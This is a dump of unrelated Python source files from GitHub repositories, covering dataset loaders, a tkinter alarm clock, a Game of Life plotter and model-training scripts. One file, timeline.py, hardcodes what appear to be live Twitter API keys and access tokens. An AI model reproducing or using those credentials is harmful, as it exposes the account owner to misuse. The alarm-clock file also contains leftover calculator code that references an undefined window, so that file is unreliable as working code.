if self.mode == \"test-test\":\n _path = os.path.join(self.path, \"k2dTest.txt\")\n else:\n _path = os.path.join(self.path, \"k2dTrain.txt\")\n\n names_txt = open(_path, \"r\")\n self.filenames = names_txt.readlines()\n\n def _get_file_path(self, idx):\n name = self.filenames[idx % len(self.filenames)].rstrip()\n if self.mode == \"test-test\":\n return os.path.join(self.path, \"test/\" + name)\n else:\n return os.path.join(self.path, \"train/\" + name)\n\n def _load_data(self, idx):\n path = self._get_file_path(idx)\n print(f\"{idx}: {path}\")\n self.x = np.load(path, allow_pickle=True)\n return path, self.x\n\n def __getitem__(self, idx):\n if torch.is_tensor(idx):\n idx = idx.tolist()\n\n img_path, raw_image = self._load_data(idx)\n\n # Label Placeholder just for making transformation work!\n labels = np.zeros((1, 5))\n\n resizer = MResize(self.image_size)\n image, labels = resizer(raw_image, labels)\n\n if self.transform:\n image, labels = self.transform((image, labels))\n\n return img_path, image\n\n\nclass KITTI2D(Dataset):\n \"\"\"KITTI2D train and validate dataset.\"\"\"\n\n def __init__(\n self,\n path,\n mode=\"Train\",\n image_size=416,\n max_objects=50,\n transform=None,\n multiscale=False,\n max_num_of_imgs=None,\n ):\n \"\"\" \"\"\"\n assert (\n mode == \"Train\" or mode == \"Validate\" or mode == \"Test\"\n ), \"expected Train or Validate as mode got: {}\".format(mode)\n self.path = path\n self.mode = mode\n self.image_size = image_size\n self.transform = transform\n self.multiscale = multiscale\n self.max_num_of_imgs = max_num_of_imgs\n self.min_size = self.image_size - 2 * 32\n self.max_size = self.image_size + 2 * 32\n self.max_objects = max_objects\n self.batch_count = 0\n self._load_file_names()\n\n def _load_file_names(self):\n _path = \"\"\n if self.mode == \"Validate\":\n _path = os.path.join(self.path, \"k2dValidate.txt\")\n if self.mode == \"Train\":\n _path = os.path.join(self.path, \"k2dTrain.txt\")\n\n names_txt = open(_path, \"r\")\n self.filenames = names_txt.readlines()\n\n def _get_file_path(self, idx):\n nameX = self.filenames[idx % len(self.filenames)].rstrip()\n exploded = nameX.split(\"_\")\n nameY = exploded[0] + \"_\" + exploded[1].replace(\"X\", \"Y\") + \"_\" + exploded[2]\n if self.mode == \"Train\":\n return {\"x\": os.path.join(self.path, \"train/\" + nameX), \"y\": os.path.join(self.path, \"train/\" + nameY)}\n if self.mode == \"Validate\":\n return {\n \"x\": os.path.join(self.path, \"validate/\" + nameX),\n \"y\": os.path.join(self.path, \"validate/\" + nameY),\n }\n\n def _load_data(self, idx):\n paths = self._get_file_path(idx)\n self.x = np.load(paths[\"x\"], allow_pickle=True)\n # converto dtype('uint8') for augmentation\n self.x = img_as_ubyte(self.x)\n self.y = np.load(paths[\"y\"], allow_pickle=True)\n\n def __len__(self):\n if self.max_num_of_imgs:\n return min(self.max_num_of_imgs, len(self.filenames))\n return len(self.filenames)\n\n def collate_fn(self, batch):\n images, labels = list(zip(*batch))\n # Remove empty placeholder targets\n imgs = torch.stack([img for img in images])\n\n # Selects new image size every tenth batch\n if self.multiscale and self.batch_count % 10 == 0:\n self.image_size = random.choice(range(self.min_size, self.max_size + 1, 32))\n # Resize images to input shape\n imgs = torch.stack([resize(img, self.image_size) for img in imgs])\n\n # Add sample index to targets\n for idx, boxes in enumerate(labels):\n boxes[:, 0] = idx\n labels = torch.cat(labels, 0)\n\n return imgs, labels\n\n def _prepare(self, image, labels):\n\n # resizer = tr.Resize(self.image_size)\n\n # resizedImg, resizedBBoxes = resizer(image, labels)\n # calculate yolov variables for bbx:\n\n _labels = np.zeros((len(self.y), 5))\n for idx, bbox in enumerate(labels):\n xc = (bbox[2] + bbox[4]) / 2.0\n yc = (bbox[1] + bbox[3]) / 2.0\n w = bbox[4] - bbox[2]\n h = bbox[3] - bbox[1]\n _labels[idx, ...] = np.array([bbox[0], xc, yc, w, h])\n\n # image, labels = get_relative_labels((image, _labels))\n\n return image, _labels\n\n def __getitem__(self, idx):\n if torch.is_tensor(idx):\n idx = idx.tolist()\n\n self._load_data(idx)\n raw_image = self.x\n raw_labels = self.y\n\n image, labels = self._prepare(raw_image, raw_labels)\n\n if self.transform:\n image, labels = self.transform((image, labels))\n\n return image, labels\n\n\nif __name__ == \"__main__\":\n curr_path = os.getcwd()\n sys.path.append(curr_path)\n\n path = \"data\"\n\n # create_TrainValidate_Sets(path)\n # create_Test_Set(path)\n\n traindataset = KITTI2D(path=path, mode=\"Train\")\n\n for idx, (image, labels) in enumerate(traindataset):\n # # # show_image((images, labels))\n print(idx)\n fig, ax = plt.subplots(1, 1)\n ax.imshow(draw_rect(img_as_float(image), labels[:, 1:5], rectype=\"xywh\"))\n plt.show()\n","repo_name":"kurosh-z/project_detection","sub_path":"src/Dataset/KITTI2D_Dataset.py","file_name":"KITTI2D_Dataset.py","file_ext":"py","file_size_in_byte":11775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"1033307449","text":"from tkinter import *\r\nimport datetime\r\nimport time\r\nimport winsound\r\n\r\ndef alarm(set_alarm_timer):\r\n while True:\r\n time.sleep(1)\r\n current_time = datetime.datetime.now()\r\n now = current_time.strftime(\"%H:%M:%S\")\r\n date = current_time.strftime(\"%d/%m/%Y\")\r\n print(\"The Set Date is:\",date)\r\n print(now)\r\n if now == set_alarm_timer:\r\n print(\"Time to Wake up\")\r\n winsound.PlaySound(\"Alarm02.wav\",winsound.SND_ASYNC)\r\n break\r\n\r\ndef actual_time():\r\n set_alarm_timer = f\"{hour.get()}:{min.get()}:{sec.get()}\"\r\n alarm(set_alarm_timer)\r\n\r\nclock = Tk()\r\nclock.title(\"DataFlair Alarm Clock\")\r\nclock.geometry(\"400x200\")\r\ntime_format=Label(clock, text= \"Enter time in 24 hour format!\", fg=\"red\",bg=\"black\",font=\"Arial\").place(x=60,y=120)\r\naddTime = Label(clock,text = \"Hour Min Sec\",font=60).place(x = 110)\r\nsetYourAlarm = Label(clock,text = \"When to wake you up\",fg=\"blue\",relief = \"solid\",font=(\"Helevetica\",7,\"bold\")).place(x=0, y=29)\r\n\r\n# The Variables we require to set the alarm(initialization):\r\nhour = StringVar()\r\nmin = StringVar()\r\nsec = StringVar()\r\n\r\n#Time required to set the alarm clock:\r\nhourTime= Entry(clock,textvariable = hour,bg = \"pink\",width = 15).place(x=110,y=30)\r\nminTime= Entry(clock,textvariable = min,bg = \"pink\",width = 15).place(x=150,y=30)\r\nsecTime = Entry(clock,textvariable = sec,bg = \"pink\",width = 15).place(x=200,y=30)\r\n\r\n#To take the time input by user:\r\nsubmit = Button(clock,text = \"Set Alarm\",fg=\"red\",width = 10,command = actual_time).place(x =110,y=70)\r\n\r\nclock.mainloop()\r\n#Execution of the window.\r\n\r\n#adding the input field\r\ndisplay = Entry(root)\r\ndisplay.grid(row=1,columnspan=6,sticky=N+E+W+S)\r\n \r\n#Code to add buttons to the Calculator\r\nButton(root,text=\"1\",command = lambda :get_variables(1)).grid(row=2,column=0, sticky=N+S+E+W)\r\nButton(root,text=\" 2\",command = lambda :get_variables(2)).grid(row=2,column=1, sticky=N+S+E+W)\r\nButton(root,text=\" 3\",command = lambda :get_variables(3)).grid(row=2,column=2, sticky=N+S+E+W)\r\n \r\nButton(root,text=\"4\",command = lambda :get_variables(4)).grid(row=3,column=0, sticky=N+S+E+W)\r\nButton(root,text=\" 5\",command = lambda :get_variables(5)).grid(row=3,column=1, sticky=N+S+E+W)\r\nButton(root,text=\" 6\",command = lambda :get_variables(6)).grid(row=3,column=2, sticky=N+S+E+W)\r\n \r\nButton(root,text=\"7\",command = lambda :get_variables(7)).grid(row=4,column=0, sticky=N+S+E+W)\r\nButton(root,text=\" 8\",command = lambda :get_variables(8)).grid(row=4,column=1, sticky=N+S+E+W)\r\nButton(root,text=\" 9\",command = lambda :get_variables(9)).grid(row=4,column=2, sticky=N+S+E+W)\r\n \r\n#adding other buttons to the calculator\r\nButton(root,text=\"AC\",command=lambda :clear_all()).grid(row=5,column=0, sticky=N+S+E+W)\r\nButton(root,text=\" 0\",command = lambda :get_variables(0)).grid(row=5,column=1, sticky=N+S+E+W)\r\nButton(root,text=\" .\",command=lambda :get_variables(\".\")).grid(row=5, column=2, sticky=N+S+E+W)\r\n \r\n \r\nButton(root,text=\"+\",command= lambda :get_operation(\"+\")).grid(row=2,column=3, sticky=N+S+E+W)\r\nButton(root,text=\"-\",command= lambda :get_operation(\"-\")).grid(row=3,column=3, sticky=N+S+E+W)\r\nButton(root,text=\"*\",command= lambda :get_operation(\"*\")).grid(row=4,column=3, sticky=N+S+E+W)\r\nButton(root,text=\"/\",command= lambda :get_operation(\"/\")).grid(row=5,column=3, sticky=N+S+E+W)\r\n \r\n# adding new operations\r\nButton(root,text=\"pi\",command= lambda :get_operation(\"*3.14\")).grid(row=2,column=4, sticky=N+S+E+W)\r\nButton(root,text=\"%\",command= lambda :get_operation(\"%\")).grid(row=3,column=4, sticky=N+S+E+W)\r\nButton(root,text=\"(\",command= lambda :get_operation(\"(\")).grid(row=4,column=4, sticky=N+S+E+W)\r\nButton(root,text=\"exp\",command= lambda :get_operation(\"**\")).grid(row=5,column=4, sticky=N+S+E+W)\r\n \r\nButton(root,text=\"<-\",command= lambda :undo()).grid(row=2,column=5, sticky=N+S+E+W)\r\nButton(root,text=\"x!\", command= lambda: fact()).grid(row=3,column=5, sticky=N+S+E+W)\r\nButton(root,text=\")\",command= lambda :get_operation(\")\")).grid(row=4,column=5, sticky=N+S+E+W)\r\nButton(root,text=\"^2\",command= lambda :get_operation(\"**2\")).grid(row=5,column=5, sticky=N+S+E+W)\r\nButton(root,text=\"^2\",command= lambda :get_operation(\"**2\")).grid(row=5,column=5, sticky=N+S+E+W)\r\nButton(root,text=\"=\",command= lambda :calculate()).grid(columnspan=6, sticky=N+S+E+W)\r\n\r\n\r\n","repo_name":"RISHABH-GUPTA-RG/Python-Training","sub_path":"Miscellaneous/DataFlair-Alarm-Clock.py","file_name":"DataFlair-Alarm-Clock.py","file_ext":"py","file_size_in_byte":4328,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"37852553235","text":"import argparse\nfrom .yaml import Yaml\n\n\ndef parse_args():\n \"\"\"\n Load the YAML file path as a positional argument\n\n \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\n 'yaml',\n metavar='yaml path',\n type=str,\n nargs=1,\n help='The yaml file to parse'\n )\n parser.add_argument(\n '-q',\n action='store_true',\n help='Quiet mode'\n )\n parser.add_argument(\n '--noenv',\n action='store_true',\n help='Whether to look for variables in environment values'\n )\n args = parser.parse_args().__dict__\n yaml_path = args['yaml'][0]\n quiet = args['q']\n noenv = args['noenv']\n return yaml_path, quiet, noenv\n\n\ndef run():\n \"\"\"\n Load variables from YAML file and run script\n\n \"\"\"\n args = parse_args()\n yaml = Yaml(*args)\n yaml.parse_structure()\n yaml.parse_variables()\n yaml.run_script()\n\n\nif __name__ == \"__main__\":\n run()","repo_name":"JulianFerry/yamlrun","sub_path":"yamlrun/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8945318369","text":"import argparse\nimport numpy as np\nfrom numpy.random import default_rng\nimport matplotlib.pyplot as plt\n\nfrom gameoflife import GameOfLife\n\nparser = argparse.ArgumentParser(\n description=\"plot the evolution of a given number of Conways Games of Life over a given number of generations\",\n epilog=\"the final plot will contain the average of the population with and without an elite, for comparisson purposes\",\n)\n\nparser.add_argument(\"height\", type=int, help=\"the height of the game\")\nparser.add_argument(\"width\", type=int, help=\"the width of the game\")\n\nparser.add_argument(\n \"-n\",\n type=int,\n nargs=\"?\",\n default=10,\n const=10,\n help=\"the number of games in the plot\",\n)\n\nparser.add_argument(\n \"-g\",\n type=int,\n nargs=\"?\",\n default=20,\n const=20,\n help=\"the number of generations of each game in the plot\",\n)\n\nparser.add_argument(\n \"-t\",\n \"--type\",\n type=str,\n nargs=\"?\",\n default=\"moore\",\n const=\"moore\",\n help=\"the type of the games. Could be 'moore' or 'vonneumann'\",\n)\n\nparser.add_argument(\n \"-o\",\n \"--order\",\n type=int,\n nargs=\"?\",\n default=1,\n const=1,\n help=\"the order of the neighborhood to be considered in the calculations\",\n)\n\nparser.add_argument(\n \"-e\",\n \"--elite\",\n type=float,\n nargs=\"?\",\n default=0.05,\n const=0.05,\n help=\"the proportion of the alive individuals that will be randomly promoted to immortals. The default values is 5\",\n)\n\nparser.add_argument(\n \"-x\",\n \"--expec\",\n type=int,\n nargs=\"?\",\n default=5,\n const=5,\n help=\"after this number of generations the immortals will be randomly chosen again. The default value is 5\",\n)\n\nparser.add_argument(\n \"-f\",\n \"--file\",\n type=str,\n nargs=\"?\",\n default=\"plot.png\",\n const=\"plot.png\",\n help=\"name of the output file. Default is plot.png\",\n)\n\nparser.add_argument(\n \"-d\",\n \"--dpi\",\n type=int,\n nargs=\"?\",\n default=200,\n const=200,\n help=\"dpi of the image file\",\n)\n\nargs = parser.parse_args()\n\nn_of_games = args.n\ngens = args.g\nshape = args.height, args.width\nntype = args.type\nnorder = args.order\nelite = args.elite\nexpec = args.expec\nfilename = args.file\ndpi = args.dpi\n\nrng = default_rng()\n\n\ndef main():\n\n series = np.ndarray(shape=(n_of_games, gens), dtype=int)\n series_elite = np.ndarray(shape=(n_of_games, gens), dtype=int)\n games = []\n games_elite = []\n\n for i in range(n_of_games):\n state = rng.choice([0, 1], size=shape)\n games.append(GameOfLife(state, norder, ntype))\n games_elite.append(GameOfLife(state, norder, ntype, elite, norder))\n\n series_tuple = (series, series_elite)\n games_tuple = (games, games_elite)\n\n for gen in range(gens):\n print(f\"Computing generation {gen + 1} of {gens}\")\n for i in range(n_of_games):\n for s, g in zip(series_tuple, games_tuple):\n s[i][gen] = g[i].count_alive()\n g[i].update()\n\n print(\"Ploting series\")\n\n fig, ax = plt.subplots()\n\n if ntype == \"vonneumann\":\n neigh_name = \"Von Neumann\"\n else:\n neigh_name = \"Moore\"\n\n ax.set(\n xlim=(1, gens),\n xticks=range(1, gens + 1),\n ylabel=\"Alive Population\",\n xlabel=\"Generation\",\n title=f\"Average Population of {n_of_games} {shape[0]} by {shape[1]} Games\\n\"\n f\"Using {neigh_name} Neighborhood of Order {norder}\",\n )\n\n t = np.arange(1, gens + 1)\n color_tuple = (\"blue\", \"red\")\n label_tuple = (\"No elite\", \"Elite\")\n\n for i in range(n_of_games):\n for s, c, l in zip(series_tuple, color_tuple, label_tuple):\n ax.plot(t, s[i], color=c, label=l, lw=0.7, alpha=0.3, antialiased=True)\n ax.plot(\n t, np.mean(s, axis=0), color=c, label=l + \" average\", antialiased=True\n )\n\n handles, labels = ax.get_legend_handles_labels()\n new_labels, new_handles = [], []\n\n for handle, label in zip(handles, labels):\n if label not in new_labels:\n new_labels.append(label)\n new_handles.append(handle)\n\n plt.legend(new_handles, new_labels, loc=\"upper right\")\n\n print(f\"Saving image on {filename}\")\n\n plt.savefig(filename, dpi=dpi)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"davifeliciano/game_of_life","sub_path":"plots.py","file_name":"plots.py","file_ext":"py","file_size_in_byte":4248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32469161242","text":"CONSUMER_KEY = 'ugvKFlivkUGVqgLJgZwYd2gum'\nCONSUMER_SECRET_KEY = 'AYKmdB63cNIOtgFL3OCUxNGlvvraaaUZWw6eBS5u5sDtBskz5E'\nACCESS_TOKEN = '838108225-Y7apkNK1Uopxf3e2imJtlUdWzYG2m61YSgbi64ze'\nACCESS_TOKEN_SECRET = '31MFA0GLgVaXQcHsMMvHNWBIPr0FrsGGyMUtzQyfgtyjy'\n\nfrom twitter import *\n\nt = Twitter(auth=OAuth(ACCESS_TOKEN, ACCESS_TOKEN_SECRET, CONSUMER_KEY, CONSUMER_SECRET_KEY))\n\ntimelines = t.statuses.home_timeline()\n\nfor timelime in timelines:\n tl = '({id})[{username}]:{text}'.format(id=timelime['id'], username=timelime['user']['name'], text=timelime['text'])\n print(tl)","repo_name":"taka-yoko/ponta2016","sub_path":"timeline.py","file_name":"timeline.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"40133845317","text":"import logging\n\nfrom telethon import TelegramClient\n\nfrom tgpy.context import Context\nfrom tgpy.version import __version__\n\nlogging.basicConfig(\n format='[%(asctime)s] [%(name)s] [%(levelname)s] %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S',\n level=logging.INFO,\n)\nlogging.getLogger('telethon').setLevel(logging.WARNING)\n\n\nclass App:\n client: TelegramClient\n ctx: Context\n\n def __init__(self):\n self.ctx = Context()\n\n\napp = App()\n\n__all__ = ['App', 'app']\n","repo_name":"tm-a-t/TGPy","sub_path":"tgpy/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"18"} +{"seq_id":"27171531561","text":"import torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nfrom torchvision import datasets, models, transforms\nimport os\n\nfrom torch.utils.data import dataloader, Dataset\nfrom PIL import Image\nimport json\nimport numpy as np\n\nclass Blender(Dataset):\n \"\"\"\n Images in database.\n \"\"\"\n\n def __init__(self, data_dir, model_name, half_res, white_bkgd, transform=None):\n super().__init__()\n\n self.data_dir = data_dir\n self.model_name=model_name\n self.half_res=half_res\n self.white_bkgd=white_bkgd\n self.transform = transform\n self.imgs = []\n self.poses = []\n self.img_paths = []\n meta = {}\n with open(os.path.join(data_dir, str(model_name), 'transforms.json'), 'r') as fp:\n meta[\"train\"] = json.load(fp)\n for frame in meta[\"train\"]['frames']:\n fname = os.path.join(data_dir, str(model_name), frame['file_path'])\n img = Image.open(fname).convert('RGB')\n img = (np.array(img) / 255.).astype(np.float32)\n if self.white_bkgd and img.shape[-1]==4:\n img = img[..., :3] * img[..., -1:] + (1. - img[..., -1:])\n else:\n img = img[..., :3]\n img = np.asarray(img*255, dtype=np.uint8)\n # img = tensorify(img)\n pose = (np.array(frame['transform_matrix']))\n pose = np.array(pose).astype(np.float32)\n self.imgs.append(img)\n self.poses.append(pose)\n self.img_paths.append(fname)\n\n def __getitem__(self, index):\n \n image_path = self.img_paths[index]\n image = self.imgs[index]\n pose = self.poses[index]\n\n if self.transform is not None:\n image = self.transform(image)\n\n return image, pose, image_path\n\n def __len__(self):\n return len(self.img_paths)\n\n","repo_name":"EricLee0224/PAD","sub_path":"datasets/Blender.py","file_name":"Blender.py","file_ext":"py","file_size_in_byte":1932,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"18"} +{"seq_id":"21470006696","text":"from django import forms\nfrom institute.models import Institute\n\n\nclass InstituteAddForm(forms.ModelForm):\n\n def __init__(self, *args, **kwargs):\n super(InstituteAddForm, self).__init__(*args, **kwargs)\n for visible in self.visible_fields():\n visible.field.widget.attrs['class'] = 'form-control'\n\n\n class Meta:\n model = Institute\n fields = \"__all__\"\n\n\n\n","repo_name":"codingspider/Schoolscript","sub_path":"School/teste/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39513324270","text":"from twip import twitter_client\n\ndef make_it_so():\n client = twitter_client()\n results = client.user_timeline(trim_user = True, exclude_replies = False, include_rts = True, count = 20)\n replies = [r for r in results if r.in_reply_to_status_id]\n if replies:\n return replies[0].in_reply_to_status_id\n else:\n return None\n","repo_name":"compjour/compjour-class-site","sub_path":"source/files/code/bots/birthdayquotes/historian.py","file_name":"historian.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"32969143469","text":"#!/usr/bin/env python3\n# Modified from:\n# https://gist.githubusercontent.com/gab50000/4ce3a2c59e5100a5f21338292fb96aa3/raw/722cb4a1d656279e260b52d3d62740d0a138f1fc/filter.py\n \nimport os\nimport sys\nimport argparse\nimport json\nfrom copy import deepcopy\n\ndef contained_tags(list_of_tags, cell):\n if \"tags\" not in cell[\"metadata\"]:\n return []\n return [tag for tag in list_of_tags if tag in cell[\"metadata\"][\"tags\"]]\n \n\n\ndef read_notebook(fname):\n with open(fname, \"r\") as f:\n data = json.load(f)\n return data\n\n\ndef write_notebook(fname,data):\n with open(fname, \"w+\") as f:\n json.dump(data, f)\n\n\n\n\n\ndef filter_notebook_ie(data,include_tags=None,exclude_tags=None,\n return_idx=True,return_data=True):\n\n if return_data == True: data = deepcopy(data)\n\n if include_tags:\n include_idx = filter_notebook_data(data,include_tags,\n exclude=False,return_idx=True)\n else:\n include_idx = []\n\n if exclude_tags:\n exclude_idx = filter_notebook_data(data,exclude_tags,\n exclude=False,return_idx=True)\n else:\n exclude_idx = []\n\n\n keepidx = include_idx + exclude_idx\n \n if return_data == False:\n return keepidx\n else:\n result = []\n for cell_it,cell in enumerate(data[\"cells\"]):\n if cell_it in keepidx:\n result.append(cell)\n data['cells'] = result\n\n return keepidx,data\n\n\ndef filter_notebook_data(data, list_of_tags, exclude=False,return_idx=False):\n\n if return_idx==False: data = deepcopy(data)\n\n include = not exclude\n result = []\n for cell_it,cell in enumerate(data[\"cells\"]):\n if any(contained_tags(list_of_tags, cell)):\n if include:\n if return_idx:\n result.append(cell_it)\n else:\n result.append(cell)\n elif exclude:\n if return_idx:\n result.append(cell_it)\n else:\n result.append(cell)\n\n if return_idx:\n return result\n else:\n data[\"cells\"] = result\n return data\n\n\n\n\n\n\"\"\"\ndef main():\n parser = argparse.ArgumentParser(\"Filter Notebook using tags\")\n parser.add_argument(\"file\", help=\"Jupyter Notebook file\")\n parser.add_argument(\"tags\", nargs=\"+\", help=\"List of tags\")\n parser.add_argument(\"--exclude\", action=\"store_true\", help=\"Exclude list of tags\")\n parser.set_defaults()\n args = parser.parse_args()\n\n result = filter_notebook(args.file, args.tags, args.exclude)\n \n fname, fext = os.path.splitext(args.file)\n new_fname = fname + \"-filtered\" + fext\n\n write_notebook(new_fname,result)\n\n\nif __name__ == \"__main__\":\n main()\n\n\"\"\"\n","repo_name":"JohnGriffiths/UofT_Coders_Talk_March2018","sub_path":"misc/tag_filter.py","file_name":"tag_filter.py","file_ext":"py","file_size_in_byte":2740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74712269159","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Aug 23 20:38:20 2019\r\n\r\n@author: USER\r\n\"\"\"\r\n\r\n# Build a CNN for image classification\r\n\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Convolution2D\r\nfrom keras.layers import MaxPooling2D\r\nfrom keras.layers import Flatten\r\nfrom keras.layers import Dense\r\n\r\n\r\n#CNN model\r\n\r\nmodel = Sequential()\r\n\r\nmodel.add(Convolution2D(24, (3,3) , activation = 'relu', input_shape = (64,64,3)))\r\n\r\nmodel.add(MaxPooling2D(pool_size = (2,2)))\r\nmodel.add(Flatten())\r\n\r\n# Add full connection\r\n\r\nmodel.add(Dense(units = 128, activation = 'relu', kernel_initializer = 'uniform'))\r\n\r\nmodel.add(Dense(units = 12, activation = 'softmax'))\r\n\r\nmodel.compile(optimizer = 'adam', loss = 'categorical_crossentropy', metrics = ['accuracy'])\r\n\r\n# fitting the CNN to data\r\nfrom keras.preprocessing.image import ImageDataGenerator\r\n\r\ntrain_datagen = ImageDataGenerator(\r\n rescale=1./255,\r\n shear_range=0.2,\r\n zoom_range=0.2,\r\n horizontal_flip=True)\r\n\r\ntest_datagen = ImageDataGenerator(rescale=1./255)\r\n\r\ntraining_set = train_datagen.flow_from_directory(\r\n 'train_data',\r\n target_size=(64, 64),\r\n batch_size=32,\r\n class_mode='categorical')\r\n\r\ntesting_set = test_datagen.flow_from_directory(\r\n 'test_data',\r\n target_size=(64, 64),\r\n batch_size=32,\r\n class_mode='categorical')\r\n\r\nmodel.fit_generator(\r\n training_set,\r\n steps_per_epoch=4714,\r\n epochs=3,\r\n validation_data=testing_set,\r\n validation_steps=825)\r\n\r\nmodel.save('weed_identification_model_softMax')\r\n\r\n\r\n\r\n","repo_name":"Harshad1994/weed_identification","sub_path":"cnn_for_plant_classification.py","file_name":"cnn_for_plant_classification.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"72345200679","text":"mylines = [] # Declare an empty list named mylines.\nwith open ('data6.txt', 'rt') as myfile:\n str=\"\"\n for myline in myfile: # For each line, stored as myline,\n if myline != \"\\n\": \n str+=myline.replace(\"\\n\",\"\")\n else:\n mylines.append(str.replace(\"\\n\",\"\")) \n str=\"\" # add its contents to mylines.\n mylines.append(str)\n\ndifferent = []\nfor answer in mylines:\n different.append(set([c for c in answer]))\nprint(sum(map(lambda x: len(x), different)))\n\n","repo_name":"davidgraca/adventofcode","sub_path":"day6.py","file_name":"day6.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12717010239","text":"import argparse\nimport torch\nimport torch.nn as nn \nimport torch.nn.functional as F\nimport torch.optim as optim\n\nfrom torch.utils.data import DataLoader\nfrom torch.utils.tensorboard import SummaryWriter\nfrom torchvision.utils import make_grid\n\nfrom datasets import DistortedMNIST, MNISTAddition, CoLocalisationMNIST\nfrom base_model import BaseCnnModel, BaseFcnModel, BaseStn\n\n\nfrom base_model import BaseStn\nfrom train import build_train_val_test_dataset, build_argparse, check_argparse\n\n\n\ndef main():\n device = torch.device('cuda:0' if torch.cuda.is_available() else \"cpu\")\n\n # args\n parser = build_argparse()\n args = parser.parse_args()\n check_argparse(args)\n\n # data \n train_dataloader, val_dataloader, _ = build_train_val_test_dataset(args)\n\n # model\n if args.task_type == 'DistortedMNIST':\n if args.model_name == 'ST-CNN': \n model = BaseStn(model_name=args.model_name, trans_type=args.trans_type, input_ch=args.input_ch , input_length=args.input_length)\n \n # pass to CUDA device\n model = model.to(device)\n criterion = nn.MSELoss()\n optimizer = optim.SGD(model.parameters(), lr=0.01)\n \n \n elif args.model_name == 'ST-FCN':\n model = BaseStn(model_name=args.model_name, trans_type=args.trans_type, input_ch=args.input_ch , input_length=args.input_length)\n \n # pass to CUDA device\n model = model.to(device)\n criterion = nn.MSELoss()\n optimizer = optim.SGD(model.parameters(), lr=0.01)\n\n elif args.task_type == 'MNISTAddition':\n #TODO\n pass\n\n else:\n #TODO\n pass\n \n # training\n writer = SummaryWriter(f'runs/trial_stn_{args.exp}')\n \n\n for epoch in range(args.epoch):\n train_running_loss = 0.0\n print(f'\\n---The {epoch+1}-th epoch---\\n')\n print('[Epoch, Batch] : Loss')\n\n # TRAINING LOOP\n print('---Training Loop begins---')\n for i, data in enumerate(train_dataloader, start=0): \n # move CUDA device\n input = data[0].to(device)\n target_theta = torch.tensor([[1,0,0],[0,1,0]], requires_grad=False, dtype=torch.float)\n target_theta = target_theta.unsqueeze(0)\n target_theta = target_theta.expand(len(input), 2, 3).to(device)\n \n optimizer.zero_grad()\n output = model.gen_theta(input)\n loss = criterion(output, target_theta)\n output_average = torch.mean(output, dim=0)\n\n if loss <=0.02:\n print(f'iteration: {i}')\n print(\n f'theta average: {output_average}'\n )\n break\n else:\n pass\n\n loss.backward()\n optimizer.step()\n \n\n train_running_loss += loss.item()\n \n writer.add_scalar('Averaged loss', loss.item(), 196*epoch + i)\n \n if i % 20 == 19:\n print(\n f\"[{epoch+1}, {i+1}]: %.3f\" % (train_running_loss/20)\n )\n print(\n f'theta average: {output_average}'\n )\n train_running_loss = 0.0\n elif i == 195:\n print(\n f\"[{epoch+1}, {i+1}]: %.3f\" % (train_running_loss/16)\n )\n print(\n f'theta average: {output_average}'\n )\n print('---Training Loop ends---')\n \n # catch the transformed image though ST, after one epoch\n with torch.no_grad():\n # number of images to show\n n = 6\n origi_img = input[:n,...].clone().detach() #(4, C, H, W)\n trans_img = model(origi_img) #(4, C, H, W)\n img = torch.cat((origi_img,trans_img), dim=0) #(4+4, C, H, W)\n img = make_grid(img, nrow=n)\n writer.add_image(f\"Original-Up, ST-Down images in epoch_{epoch+1}\", img)\n \n # VALIDATION LOOP\n with torch.no_grad():\n val_run_loss = 0.0\n print('---Validaion Loop begins---')\n batch_count = 0\n \n for i, data in enumerate(val_dataloader, start=0):\n input = data[0].to(device)\n target_theta = torch.tensor([[1,0,0],[0,1,0]], requires_grad=False, dtype=torch.float)\n target_theta = target_theta.unsqueeze(0)\n target_theta = target_theta.expand(len(input), 2, 3).to(device)\n\n output = model.gen_theta(input)\n loss = criterion(output, target_theta)\n\n val_run_loss += loss.item()\n batch_count += 1\n \n val_run_loss = val_run_loss/batch_count\n \n writer.add_scalar('Validation loss', val_run_loss, epoch)\n\n print(f\"Loss of {epoch+1} epoch is %.3f\" % (val_run_loss))\n \n print('---Validaion Loop ends---')\n writer.close()\n savepath = f'/home/jarvis1121/AI/Rico_Repo/Spatial-Transformer-Network/model_save/stn_{str(args.exp)}_{str(args.task_type)}_{str(args.trans_type)}_{str(args.model_name)}.pth'\n torch.save(model.state_dict(), savepath)\n\nif __name__ == '__main__':\n main()\n # import numpy as np\n # model = BaseStn(model_name='ST-CNN', trans_type='RTS', input_ch=1 , input_length=42)\n # 